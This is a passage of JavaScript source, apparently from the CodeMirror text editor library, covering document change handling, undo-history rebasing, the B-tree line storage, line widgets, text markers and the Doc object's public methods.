recomputeMaxLength = true;\n        return true\n      }\n    });\n  }\n\n  if (doc.sel.contains(change.from, change.to) > -1)\n    { signalCursorActivity(cm); }\n\n  updateDoc(doc, change, spans, estimateHeight(cm));\n\n  if (!cm.options.lineWrapping) {\n    doc.iter(checkWidthStart, from.line + change.text.length, function (line) {\n      var len = lineLength(line);\n      if (len > display.maxLineLength) {\n        display.maxLine = line;\n        display.maxLineLength = len;\n        display.maxLineChanged = true;\n        recomputeMaxLength = false;\n      }\n    });\n    if (recomputeMaxLength) { cm.curOp.updateMaxLine = true; }\n  }\n\n  retreatFrontier(doc, from.line);\n  startWorker(cm, 400);\n\n  var lendiff = change.text.length - (to.line - from.line) - 1;\n  // Remember that these lines changed, for updating the display\n  if (change.full)\n    { regChange(cm); }\n  else if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))\n    { regLineChange(cm, from.line, \"text\"); }\n  else\n    { regChange(cm, from.line, to.line + 1, lendiff); }\n\n  var changesHandler = hasHandler(cm, \"changes\"), changeHandler = hasHandler(cm, \"change\");\n  if (changeHandler || changesHandler) {\n    var obj = {\n      from: from, to: to,\n      text: change.text,\n      removed: change.removed,\n      origin: change.origin\n    };\n    if (changeHandler) { signalLater(cm, \"change\", cm, obj); }\n    if (changesHandler) { (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj); }\n  }\n  cm.display.selForContextMenu = null;\n}\n\nfunction replaceRange(doc, code, from, to, origin) {\n  if (!to) { to = from; }\n  if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; }\n  if (typeof code == \"string\") { code = doc.splitLines(code); }\n  makeChange(doc, {from: from, to: to, text: code, origin: origin});\n}\n\n// Rebasing/resetting history to deal with externally-sourced changes\n\nfunction rebaseHistSelSingle(pos, from, to, diff) {\n  if (to < pos.line) {\n    pos.line += diff;\n  } else if (from < pos.line) {\n    pos.line = from;\n    pos.ch = 0;\n  }\n}\n\n// Tries to rebase an array of history events given a change in the\n// document. If the change touches the same lines as the event, the\n// event, and everything 'behind' it, is discarded. If the change is\n// before the event, the event's positions are updated. Uses a\n// copy-on-write scheme for the positions, to avoid having to\n// reallocate them all on every rebase, but also avoid problems with\n// shared position objects being unsafely updated.\nfunction rebaseHistArray(array, from, to, diff) {\n  for (var i = 0; i < array.length; ++i) {\n    var sub = array[i], ok = true;\n    if (sub.ranges) {\n      if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }\n      for (var j = 0; j < sub.ranges.length; j++) {\n        rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);\n        rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);\n      }\n      continue\n    }\n    for (var j$1 = 0; j$1 < sub.changes.length; ++j$1) {\n      var cur = sub.changes[j$1];\n      if (to < cur.from.line) {\n        cur.from = Pos(cur.from.line + diff, cur.from.ch);\n        cur.to = Pos(cur.to.line + diff, cur.to.ch);\n      } else if (from <= cur.to.line) {\n        ok = false;\n        break\n      }\n    }\n    if (!ok) {\n      array.splice(0, i + 1);\n      i = 0;\n    }\n  }\n}\n\nfunction rebaseHist(hist, change) {\n  var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;\n  rebaseHistArray(hist.done, from, to, diff);\n  rebaseHistArray(hist.undone, from, to, diff);\n}\n\n// Utility for applying a change to a line by handle or number,\n// returning the number and optionally registering the line as\n// changed.\nfunction changeLine(doc, handle, changeType, op) {\n  var no = handle, line = handle;\n  if (typeof handle == \"number\") { line = getLine(doc, clipLine(doc, handle)); }\n  else { no = lineNo(handle); }\n  if (no == null) { return null }\n  if (op(line, no) && doc.cm) { regLineChange(doc.cm, no, changeType); }\n  return line\n}\n\n// The document is represented as a BTree consisting of leaves, with\n// chunk of lines in them, and branches, with up to ten leaves or\n// other branch nodes below them. The top node is always a branch\n// node, and is the document object itself (meaning it has\n// additional methods and properties).\n//\n// All nodes have parent links. The tree is used both to go from\n// line numbers to line objects, and to go from objects to numbers.\n// It also indexes by height, and is used to convert between height\n// and line object, and to find the total height of the document.\n//\n// See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html\n\nfunction LeafChunk(lines) {\n  var this$1 = this;\n\n  this.lines = lines;\n  this.parent = null;\n  var height = 0;\n  for (var i = 0; i < lines.length; ++i) {\n    lines[i].parent = this$1;\n    height += lines[i].height;\n  }\n  this.height = height;\n}\n\nLeafChunk.prototype = {\n  chunkSize: function chunkSize() { return this.lines.length },\n\n  // Remove the n lines at offset 'at'.\n  removeInner: function removeInner(at, n) {\n    var this$1 = this;\n\n    for (var i = at, e = at + n; i < e; ++i) {\n      var line = this$1.lines[i];\n      this$1.height -= line.height;\n      cleanUpLine(line);\n      signalLater(line, \"delete\");\n    }\n    this.lines.splice(at, n);\n  },\n\n  // Helper used to collapse a small branch into a single leaf.\n  collapse: function collapse(lines) {\n    lines.push.apply(lines, this.lines);\n  },\n\n  // Insert the given array of lines at offset 'at', count them as\n  // having the given height.\n  insertInner: function insertInner(at, lines, height) {\n    var this$1 = this;\n\n    this.height += height;\n    this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));\n    for (var i = 0; i < lines.length; ++i) { lines[i].parent = this$1; }\n  },\n\n  // Used to iterate over a part of the tree.\n  iterN: function iterN(at, n, op) {\n    var this$1 = this;\n\n    for (var e = at + n; at < e; ++at)\n      { if (op(this$1.lines[at])) { return true } }\n  }\n};\n\nfunction BranchChunk(children) {\n  var this$1 = this;\n\n  this.children = children;\n  var size = 0, height = 0;\n  for (var i = 0; i < children.length; ++i) {\n    var ch = children[i];\n    size += ch.chunkSize(); height += ch.height;\n    ch.parent = this$1;\n  }\n  this.size = size;\n  this.height = height;\n  this.parent = null;\n}\n\nBranchChunk.prototype = {\n  chunkSize: function chunkSize() { return this.size },\n\n  removeInner: function removeInner(at, n) {\n    var this$1 = this;\n\n    this.size -= n;\n    for (var i = 0; i < this.children.length; ++i) {\n      var child = this$1.children[i], sz = child.chunkSize();\n      if (at < sz) {\n        var rm = Math.min(n, sz - at), oldHeight = child.height;\n        child.removeInner(at, rm);\n        this$1.height -= oldHeight - child.height;\n        if (sz == rm) { this$1.children.splice(i--, 1); child.parent = null; }\n        if ((n -= rm) == 0) { break }\n        at = 0;\n      } else { at -= sz; }\n    }\n    // If the result is smaller than 25 lines, ensure that it is a\n    // single leaf node.\n    if (this.size - n < 25 &&\n        (this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {\n      var lines = [];\n      this.collapse(lines);\n      this.children = [new LeafChunk(lines)];\n      this.children[0].parent = this;\n    }\n  },\n\n  collapse: function collapse(lines) {\n    var this$1 = this;\n\n    for (var i = 0; i < this.children.length; ++i) { this$1.children[i].collapse(lines); }\n  },\n\n  insertInner: function insertInner(at, lines, height) {\n    var this$1 = this;\n\n    this.size += lines.length;\n    this.height += height;\n    for (var i = 0; i < this.children.length; ++i) {\n      var child = this$1.children[i], sz = child.chunkSize();\n      if (at <= sz) {\n        child.insertInner(at, lines, height);\n        if (child.lines && child.lines.length > 50) {\n          // To avoid memory thrashing when child.lines is huge (e.g. first view of a large file), it's never spliced.\n          // Instead, small slices are taken. They're taken in order because sequential memory accesses are fastest.\n          var remaining = child.lines.length % 25 + 25;\n          for (var pos = remaining; pos < child.lines.length;) {\n            var leaf = new LeafChunk(child.lines.slice(pos, pos += 25));\n            child.height -= leaf.height;\n            this$1.children.splice(++i, 0, leaf);\n            leaf.parent = this$1;\n          }\n          child.lines = child.lines.slice(0, remaining);\n          this$1.maybeSpill();\n        }\n        break\n      }\n      at -= sz;\n    }\n  },\n\n  // When a node has grown, check whether it should be split.\n  maybeSpill: function maybeSpill() {\n    if (this.children.length <= 10) { return }\n    var me = this;\n    do {\n      var spilled = me.children.splice(me.children.length - 5, 5);\n      var sibling = new BranchChunk(spilled);\n      if (!me.parent) { // Become the parent node\n        var copy = new BranchChunk(me.children);\n        copy.parent = me;\n        me.children = [copy, sibling];\n        me = copy;\n     } else {\n        me.size -= sibling.size;\n        me.height -= sibling.height;\n        var myIndex = indexOf(me.parent.children, me);\n        me.parent.children.splice(myIndex + 1, 0, sibling);\n      }\n      sibling.parent = me.parent;\n    } while (me.children.length > 10)\n    me.parent.maybeSpill();\n  },\n\n  iterN: function iterN(at, n, op) {\n    var this$1 = this;\n\n    for (var i = 0; i < this.children.length; ++i) {\n      var child = this$1.children[i], sz = child.chunkSize();\n      if (at < sz) {\n        var used = Math.min(n, sz - at);\n        if (child.iterN(at, used, op)) { return true }\n        if ((n -= used) == 0) { break }\n        at = 0;\n      } else { at -= sz; }\n    }\n  }\n};\n\n// Line widgets are block elements displayed above or below a line.\n\nvar LineWidget = function(doc, node, options) {\n  var this$1 = this;\n\n  if (options) { for (var opt in options) { if (options.hasOwnProperty(opt))\n    { this$1[opt] = options[opt]; } } }\n  this.doc = doc;\n  this.node = node;\n};\n\nLineWidget.prototype.clear = function () {\n    var this$1 = this;\n\n  var cm = this.doc.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);\n  if (no == null || !ws) { return }\n  for (var i = 0; i < ws.length; ++i) { if (ws[i] == this$1) { ws.splice(i--, 1); } }\n  if (!ws.length) { line.widgets = null; }\n  var height = widgetHeight(this);\n  updateLineHeight(line, Math.max(0, line.height - height));\n  if (cm) {\n    runInOp(cm, function () {\n      adjustScrollWhenAboveVisible(cm, line, -height);\n      regLineChange(cm, no, \"widget\");\n    });\n    signalLater(cm, \"lineWidgetCleared\", cm, this, no);\n  }\n};\n\nLineWidget.prototype.changed = function () {\n    var this$1 = this;\n\n  var oldH = this.height, cm = this.doc.cm, line = this.line;\n  this.height = null;\n  var diff = widgetHeight(this) - oldH;\n  if (!diff) { return }\n  updateLineHeight(line, line.height + diff);\n  if (cm) {\n    runInOp(cm, function () {\n      cm.curOp.forceUpdate = true;\n      adjustScrollWhenAboveVisible(cm, line, diff);\n      signalLater(cm, \"lineWidgetChanged\", cm, this$1, lineNo(line));\n    });\n  }\n};\neventMixin(LineWidget);\n\nfunction adjustScrollWhenAboveVisible(cm, line, diff) {\n  if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))\n    { addToScrollTop(cm, diff); }\n}\n\nfunction addLineWidget(doc, handle, node, options) {\n  var widget = new LineWidget(doc, node, options);\n  var cm = doc.cm;\n  if (cm && widget.noHScroll) { cm.display.alignWidgets = true; }\n  changeLine(doc, handle, \"widget\", function (line) {\n    var widgets = line.widgets || (line.widgets = []);\n    if (widget.insertAt == null) { widgets.push(widget); }\n    else { widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget); }\n    widget.line = line;\n    if (cm && !lineIsHidden(doc, line)) {\n      var aboveVisible = heightAtLine(line) < doc.scrollTop;\n      updateLineHeight(line, line.height + widgetHeight(widget));\n      if (aboveVisible) { addToScrollTop(cm, widget.height); }\n      cm.curOp.forceUpdate = true;\n    }\n    return true\n  });\n  signalLater(cm, \"lineWidgetAdded\", cm, widget, typeof handle == \"number\" ? handle : lineNo(handle));\n  return widget\n}\n\n// TEXTMARKERS\n\n// Created with markText and setBookmark methods. A TextMarker is a\n// handle that can be used to clear or find a marked position in the\n// document. Line objects hold arrays (markedSpans) containing\n// {from, to, marker} object pointing to such marker objects, and\n// indicating that such a marker is present on that line. Multiple\n// lines may point to the same marker when it spans across lines.\n// The spans will have null for their from/to properties when the\n// marker continues beyond the start/end of the line. Markers have\n// links back to the lines they currently touch.\n\n// Collapsed markers have unique ids, in order to be able to order\n// them, which is needed for uniquely determining an outer marker\n// when they overlap (they may nest, but not partially overlap).\nvar nextMarkerId = 0;\n\nvar TextMarker = function(doc, type) {\n  this.lines = [];\n  this.type = type;\n  this.doc = doc;\n  this.id = ++nextMarkerId;\n};\n\n// Clear the marker.\nTextMarker.prototype.clear = function () {\n    var this$1 = this;\n\n  if (this.explicitlyCleared) { return }\n  var cm = this.doc.cm, withOp = cm && !cm.curOp;\n  if (withOp) { startOperation(cm); }\n  if (hasHandler(this, \"clear\")) {\n    var found = this.find();\n    if (found) { signalLater(this, \"clear\", found.from, found.to); }\n  }\n  var min = null, max = null;\n  for (var i = 0; i < this.lines.length; ++i) {\n    var line = this$1.lines[i];\n    var span = getMarkedSpanFor(line.markedSpans, this$1);\n    if (cm && !this$1.collapsed) { regLineChange(cm, lineNo(line), \"text\"); }\n    else if (cm) {\n      if (span.to != null) { max = lineNo(line); }\n      if (span.from != null) { min = lineNo(line); }\n    }\n    line.markedSpans = removeMarkedSpan(line.markedSpans, span);\n    if (span.from == null && this$1.collapsed && !lineIsHidden(this$1.doc, line) && cm)\n      { updateLineHeight(line, textHeight(cm.display)); }\n  }\n  if (cm && this.collapsed && !cm.options.lineWrapping) { for (var i$1 = 0; i$1 < this.lines.length; ++i$1) {\n    var visual = visualLine(this$1.lines[i$1]), len = lineLength(visual);\n    if (len > cm.display.maxLineLength) {\n      cm.display.maxLine = visual;\n      cm.display.maxLineLength = len;\n      cm.display.maxLineChanged = true;\n    }\n  } }\n\n  if (min != null && cm && this.collapsed) { regChange(cm, min, max + 1); }\n  this.lines.length = 0;\n  this.explicitlyCleared = true;\n  if (this.atomic && this.doc.cantEdit) {\n    this.doc.cantEdit = false;\n    if (cm) { reCheckSelection(cm.doc); }\n  }\n  if (cm) { signalLater(cm, \"markerCleared\", cm, this, min, max); }\n  if (withOp) { endOperation(cm); }\n  if (this.parent) { this.parent.clear(); }\n};\n\n// Find the position of the marker in the document. Returns a {from,\n// to} object by default. Side can be passed to get a specific side\n// -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the\n// Pos objects returned contain a line object, rather than a line\n// number (used to prevent looking up the same line twice).\nTextMarker.prototype.find = function (side, lineObj) {\n    var this$1 = this;\n\n  if (side == null && this.type == \"bookmark\") { side = 1; }\n  var from, to;\n  for (var i = 0; i < this.lines.length; ++i) {\n    var line = this$1.lines[i];\n    var span = getMarkedSpanFor(line.markedSpans, this$1);\n    if (span.from != null) {\n      from = Pos(lineObj ? line : lineNo(line), span.from);\n      if (side == -1) { return from }\n    }\n    if (span.to != null) {\n      to = Pos(lineObj ? line : lineNo(line), span.to);\n      if (side == 1) { return to }\n    }\n  }\n  return from && {from: from, to: to}\n};\n\n// Signals that the marker's widget changed, and surrounding layout\n// should be recomputed.\nTextMarker.prototype.changed = function () {\n    var this$1 = this;\n\n  var pos = this.find(-1, true), widget = this, cm = this.doc.cm;\n  if (!pos || !cm) { return }\n  runInOp(cm, function () {\n    var line = pos.line, lineN = lineNo(pos.line);\n    var view = findViewForLine(cm, lineN);\n    if (view) {\n      clearLineMeasurementCacheFor(view);\n      cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;\n    }\n    cm.curOp.updateMaxLine = true;\n    if (!lineIsHidden(widget.doc, line) && widget.height != null) {\n      var oldHeight = widget.height;\n      widget.height = null;\n      var dHeight = widgetHeight(widget) - oldHeight;\n      if (dHeight)\n        { updateLineHeight(line, line.height + dHeight); }\n    }\n    signalLater(cm, \"markerChanged\", cm, this$1);\n  });\n};\n\nTextMarker.prototype.attachLine = function (line) {\n  if (!this.lines.length && this.doc.cm) {\n    var op = this.doc.cm.curOp;\n    if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)\n      { (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this); }\n  }\n  this.lines.push(line);\n};\n\nTextMarker.prototype.detachLine = function (line) {\n  this.lines.splice(indexOf(this.lines, line), 1);\n  if (!this.lines.length && this.doc.cm) {\n    var op = this.doc.cm.curOp;(op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);\n  }\n};\neventMixin(TextMarker);\n\n// Create a marker, wire it up to the right lines, and\nfunction markText(doc, from, to, options, type) {\n  // Shared markers (across linked documents) are handled separately\n  // (markTextShared will call out to this again, once per\n  // document).\n  if (options && options.shared) { return markTextShared(doc, from, to, options, type) }\n  // Ensure we are in an operation.\n  if (doc.cm && !doc.cm.curOp) { return operation(doc.cm, markText)(doc, from, to, options, type) }\n\n  var marker = new TextMarker(doc, type), diff = cmp(from, to);\n  if (options) { copyObj(options, marker, false); }\n  // Don't connect empty markers unless clearWhenEmpty is false\n  if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)\n    { return marker }\n  if (marker.replacedWith) {\n    // Showing up as a widget implies collapsed (widget replaces text)\n    marker.collapsed = true;\n    marker.widgetNode = eltP(\"span\", [marker.replacedWith], \"CodeMirror-widget\");\n    if (!options.handleMouseEvents) { marker.widgetNode.setAttribute(\"cm-ignore-events\", \"true\"); }\n    if (options.insertLeft) { marker.widgetNode.insertLeft = true; }\n  }\n  if (marker.collapsed) {\n    if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||\n        from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))\n      { throw new Error(\"Inserting collapsed marker partially overlapping an existing one\") }\n    seeCollapsedSpans();\n  }\n\n  if (marker.addToHistory)\n    { addChangeToHistory(doc, {from: from, to: to, origin: \"markText\"}, doc.sel, NaN); }\n\n  var curLine = from.line, cm = doc.cm, updateMaxLine;\n  doc.iter(curLine, to.line + 1, function (line) {\n    if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)\n      { updateMaxLine = true; }\n    if (marker.collapsed && curLine != from.line) { updateLineHeight(line, 0); }\n    addMarkedSpan(line, new MarkedSpan(marker,\n                                       curLine == from.line ? from.ch : null,\n                                       curLine == to.line ? to.ch : null));\n    ++curLine;\n  });\n  // lineIsHidden depends on the presence of the spans, so needs a second pass\n  if (marker.collapsed) { doc.iter(from.line, to.line + 1, function (line) {\n    if (lineIsHidden(doc, line)) { updateLineHeight(line, 0); }\n  }); }\n\n  if (marker.clearOnEnter) { on(marker, \"beforeCursorEnter\", function () { return marker.clear(); }); }\n\n  if (marker.readOnly) {\n    seeReadOnlySpans();\n    if (doc.history.done.length || doc.history.undone.length)\n      { doc.clearHistory(); }\n  }\n  if (marker.collapsed) {\n    marker.id = ++nextMarkerId;\n    marker.atomic = true;\n  }\n  if (cm) {\n    // Sync editor state\n    if (updateMaxLine) { cm.curOp.updateMaxLine = true; }\n    if (marker.collapsed)\n      { regChange(cm, from.line, to.line + 1); }\n    else if (marker.className || marker.title || marker.startStyle || marker.endStyle || marker.css)\n      { for (var i = from.line; i <= to.line; i++) { regLineChange(cm, i, \"text\"); } }\n    if (marker.atomic) { reCheckSelection(cm.doc); }\n    signalLater(cm, \"markerAdded\", cm, marker);\n  }\n  return marker\n}\n\n// SHARED TEXTMARKERS\n\n// A shared marker spans multiple linked documents. It is\n// implemented as a meta-marker-object controlling multiple normal\n// markers.\nvar SharedTextMarker = function(markers, primary) {\n  var this$1 = this;\n\n  this.markers = markers;\n  this.primary = primary;\n  for (var i = 0; i < markers.length; ++i)\n    { markers[i].parent = this$1; }\n};\n\nSharedTextMarker.prototype.clear = function () {\n    var this$1 = this;\n\n  if (this.explicitlyCleared) { return }\n  this.explicitlyCleared = true;\n  for (var i = 0; i < this.markers.length; ++i)\n    { this$1.markers[i].clear(); }\n  signalLater(this, \"clear\");\n};\n\nSharedTextMarker.prototype.find = function (side, lineObj) {\n  return this.primary.find(side, lineObj)\n};\neventMixin(SharedTextMarker);\n\nfunction markTextShared(doc, from, to, options, type) {\n  options = copyObj(options);\n  options.shared = false;\n  var markers = [markText(doc, from, to, options, type)], primary = markers[0];\n  var widget = options.widgetNode;\n  linkedDocs(doc, function (doc) {\n    if (widget) { options.widgetNode = widget.cloneNode(true); }\n    markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));\n    for (var i = 0; i < doc.linked.length; ++i)\n      { if (doc.linked[i].isParent) { return } }\n    primary = lst(markers);\n  });\n  return new SharedTextMarker(markers, primary)\n}\n\nfunction findSharedMarkers(doc) {\n  return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())), function (m) { return m.parent; })\n}\n\nfunction copySharedMarkers(doc, markers) {\n  for (var i = 0; i < markers.length; i++) {\n    var marker = markers[i], pos = marker.find();\n    var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);\n    if (cmp(mFrom, mTo)) {\n      var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);\n      marker.markers.push(subMark);\n      subMark.parent = marker;\n    }\n  }\n}\n\nfunction detachSharedMarkers(markers) {\n  var loop = function ( i ) {\n    var marker = markers[i], linked = [marker.primary.doc];\n    linkedDocs(marker.primary.doc, function (d) { return linked.push(d); });\n    for (var j = 0; j < marker.markers.length; j++) {\n      var subMarker = marker.markers[j];\n      if (indexOf(linked, subMarker.doc) == -1) {\n        subMarker.parent = null;\n        marker.markers.splice(j--, 1);\n      }\n    }\n  };\n\n  for (var i = 0; i < markers.length; i++) loop( i );\n}\n\nvar nextDocId = 0;\nvar Doc = function(text, mode, firstLine, lineSep, direction) {\n  if (!(this instanceof Doc)) { return new Doc(text, mode, firstLine, lineSep, direction) }\n  if (firstLine == null) { firstLine = 0; }\n\n  BranchChunk.call(this, [new LeafChunk([new Line(\"\", null)])]);\n  this.first = firstLine;\n  this.scrollTop = this.scrollLeft = 0;\n  this.cantEdit = false;\n  this.cleanGeneration = 1;\n  this.modeFrontier = this.highlightFrontier = firstLine;\n  var start = Pos(firstLine, 0);\n  this.sel = simpleSelection(start);\n  this.history = new History(null);\n  this.id = ++nextDocId;\n  this.modeOption = mode;\n  this.lineSep = lineSep;\n  this.direction = (direction == \"rtl\") ? \"rtl\" : \"ltr\";\n  this.extend = false;\n\n  if (typeof text == \"string\") { text = this.splitLines(text); }\n  updateDoc(this, {from: start, to: start, text: text});\n  setSelection(this, simpleSelection(start), sel_dontScroll);\n};\n\nDoc.prototype = createObj(BranchChunk.prototype, {\n  constructor: Doc,\n  // Iterate over the document. Supports two forms -- with only one\n  // argument, it calls that for each line in the document. With\n  // three, it iterates over the range given by the first two (with\n  // the second being non-inclusive).\n  iter: function(from, to, op) {\n    if (op) { this.iterN(from - this.first, to - from, op); }\n    else { this.iterN(this.first, this.first + this.size, from); }\n  },\n\n  // Non-public interface for adding and removing lines.\n  insert: function(at, lines) {\n    var height = 0;\n    for (var i = 0; i < lines.length; ++i) { height += lines[i].height; }\n    this.insertInner(at - this.first, lines, height);\n  },\n  remove: function(at, n) { this.removeInner(at - this.first, n); },\n\n  // From here, the methods are part of the public interface. Most\n  // are also available from CodeMirror (editor) instances.\n\n  getValue: function(lineSep) {\n    var lines = getLines(this, this.first, this.first + this.size);\n    if (lineSep === false) { return lines }\n    return lines.join(lineSep || this.lineSeparator())\n  },\n  setValue: docMethodOp(function(code) {\n    var top = Pos(this.first, 0), last = this.first + this.size - 1;\n    makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),\n                      text: this.splitLines(code), origin: \"setValue\", full: true}, true);\n    if (this.cm) { scrollToCoords(this.cm, 0, 0); }\n    setSelection(this, simpleSelection(top), sel_dontScroll);\n  }),\n  replaceRange: function(code, from, to, origin) {\n    from = clipPos(this, from);\n    to = to ? clipPos(this, to) : from;\n    replaceRange(this, code, from, to, origin);\n  },\n  getRange: function(from, to, lineSep) {\n    var lines = getBetween(this, clipPos(this, from), clipPos(this, to));\n    if (lineSep === false) { return lines }\n    return lines.join(lineSep || this.lineSeparator())\n  },\n\n  getLine: function(line) {var l = this.getLineHandle(line); return l && l.text},\n\n  getLineHandle: function(line) {if (isLine(this, line)) { return getLine(this, line) }},\n  getLineNumber: function(line) {return lineNo(line)},\n\n  getLineHandleVisualStart: function(line) {\n    if (typeof line == \"number\") { line = getLine(this, line); }\n    return visualLine(line)\n  },\n\n  lineCount: function() {return this.size},\n  firstLine: function() {return this.first},\n  lastLine: function() {return this.first + this.size - 1},\n\n  clipPos: function(pos) {return clipPos(this, pos)},\n\n  getCursor: function(start) {\n    var range$$1 = this.sel.primary(), pos;\n    if (start == null || start == \"head\") { pos = range$$1.head; }\n    else if (start == \"anchor\") { pos = range$$1.anchor; }\n    else if (start == \"end\" || start == \"to\" || start === false) { pos = range$$1.to(); }\n    else { pos = range$$1.from(); }\n    return pos\n  },\n  listSelections: function() { return this.sel.ranges },\n  somethingSelected: function() {return this.sel.somethingSelected()},\n\n  setCursor: docMethodOp(function(line, ch, options) {\n    setSimpleSelection(this, clipPos(this, typeof line == \"number\" ? Pos(line, ch || 0) : line), null, options);\n  }),\n  setSelection: docMethodOp(function(anchor, head, options) {\n    setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);\n  }),\n  extendSelection: docMethodOp(function(head, other, options) {\n    extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);\n  }),\n  extendSelections: docMethodOp(function(heads, options) {\n    extendSelections(this, clipPosArray(this, heads), options);\n  }),\n  extendSelectionsBy: docMethodOp(function(f, options) {\n    var heads = map(this.sel.ranges, f);\n    extendSelections(this, clipPosArray(this, heads), options);\n  }),\n  setSelections: docMethodOp(function(ranges, primary, options) {\n    var this$1 = this;\n\n    if (!ranges.length) { return }\n    var out = [];\n    for (var i = 0; i < ranges.length; i++)\n      { out[i] = new Range(clipPos(this$1, ranges[i].anchor),\n                         clipPos(this$1, ranges[i].head)); }\n    if (primary == null) { primary = Math.min(ranges.length - 1, this.sel.primIndex); }\n    setSelection(this, normalizeSelection(out, primary), options);\n  }),\n  addSelection: docMethodOp(function(anchor, head, options) {\n    var ranges = this.sel.ranges.slice(0);\n    ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));\n    setSelection(this, normalizeSelection(ranges, ranges.length - 1), options);\n  }),\n\n  getSelection: function(lineSep) {\n    var this$1 = this;\n\n    var ranges = this.sel.ranges, lines;\n    for (var i = 0; i < ranges.length; i++) {\n      var sel = getBetween(this$1, ranges[i].from(), ranges[i].to());\n      lines = lines ? lines.concat(sel) : sel;\n    }\n    if (lineSep === false) { return lines }\n    else { return lines.join(lineSep || this.lineSeparator()) }\n  },\n  getSelections: function(lineSep) {\n    var this$1 = this;\n\n    var parts = [], ranges = this.sel.ranges;\n    for (var i = 0; i < ranges.length; i++) {\n      var sel = getBetween(this$1, ranges[i].from(), ranges[i].to());\n      if (lineSep !== false) { sel = sel.join(lineSep || this$1.lineSeparator()); }\n      parts[i] = sel;\n    }\n    return parts\n  },\n  replaceSelection: function(code, collapse, origin) {\n    var dup = [];\n    for (var i = 0; i < this.sel.ranges.length; i++)\n      { dup[i] = code; }\n    this.replaceSelections(dup, collapse, origin || \"+input\");\n  },\n  replaceSelections: docMethodOp(function(code, collapse, origin) {\n    var this$1 = this;\n\n    var changes = [], sel = this.sel;\n    for (var i = 0; i < sel.ranges.length; i++) {\n      var range$$1 = sel.ranges[i];\n      changes[i] = {from: range$$1.from(), to: range$$1.to(), text: this$1.splitLines(code[i]), origin: origin};\n    }\n    var newSel = collapse && collapse != \"end\" && computeReplacedSel(this, changes, collapse);\n    for (var i$1 = changes.length - 1; i$1 >= 0; i$1--)\n      { makeChange(this$1, changes[i$1]); }\n    if (newSel) { setSelectionReplaceHistory(this, newSel); }\n    else if (this.cm) { ensureCursorVisible(this.cm); }\n  }),\n  undo: docMethodOp(function() {makeChangeFromHistory(this, \"undo\");}),\n  redo: docMethodOp(function() {makeChangeFromHistory(this, \"redo\");}),\n  undoSelection: docMethodOp(function() {makeChangeFromHistory(this, \"undo\", true);}),\n  redoSelection: docMethodOp(function() {makeChangeFromHistory(this, \"redo\", true);}),\n\n  setExtending: function(val) {this.extend = val;},\n  getExtending: function() {return this.extend},\n\n  historySize: function() {\n    var hist = this.history, done = 0, undone = 0;\n    for (var i = 0; i < hist.done.length; i++) { if (!hist.done[i].ranges) { ++done; } }\n    for (var i$1 = 0; i$1 < hist.undone.length; i$1++) { if (!hist.undone[i$1].ranges) { ++undone; } }\n    return {undo: done, redo: undone}\n  },\n  clearHistory: function() {this.history = new History(this.history.maxGeneration);},\n\n  markClean: function() {\n    this.cleanGeneration = this.changeGeneration(true);\n  },\n  changeGeneration: function(forceSplit) {\n    if (forceSplit)\n      { this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null; }\n    return this.history.generation\n  },\n  isClean: function (gen) {\n    return this.history.generation == (gen || this.cleanGeneration)\n  },\n\n  getHistory: function() {\n    return {done: copyHistoryArray(this.history.done),\n            undone: copyHistoryArray(this.history.undone)}\n  },\n  setHistory: function(histData) {\n    var hist = this.history = new History(this.history.maxGeneration);\n    hist.done = copyHistoryArray(histData.done.slice(0), null, true);\n    hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);\n  },\n\n  setGutterMarker: docMethodOp(function(line, gutterID, value) {\n    return changeLine(this, line, \"gutter\", function (line) {\n      var markers = line.gutterMarkers || (line.gutterMarkers = {});\n      markers[gutterID] = value;\n      if (!value && isEmpty(markers)) { line.gutterMarkers = null; }\n      return true\n    })\n  }),\n\n  clearGutter: docMethodOp(function(gutterID) {\n    var this$1 = this;\n\n    this.iter(function (line) {\n      if (line.gutterMarkers && line.gutterMarkers[gutterID]) {\n        changeLine(this$1, line, \"gutter\", function () {\n          line.gutterMarkers[gutterID] = null;\n          if (isEmpty(line.gutterMarkers)) { line.gutterMarkers = null; }\n          return true\n        });\n      }\n    });\n  }),\n\n  lineInfo: function(line) {\n    var n;\n    if (typeof line == \"number\") {\n      if (!isLine(this, line)) { return null }\n      n = line;\n      line = getLine(this, line);\n      if (!line) { return null }\n    } else {\n      n = lineNo(line);\n      if (n == null) { return null }\n    }\n    return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,\n            textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,\n            widgets: line.widgets}\n  },\n\n  addLineClass: docMethodOp(function(handle, where, cls) {\n    return changeLine(this, handle, where == \"gutter\" ? 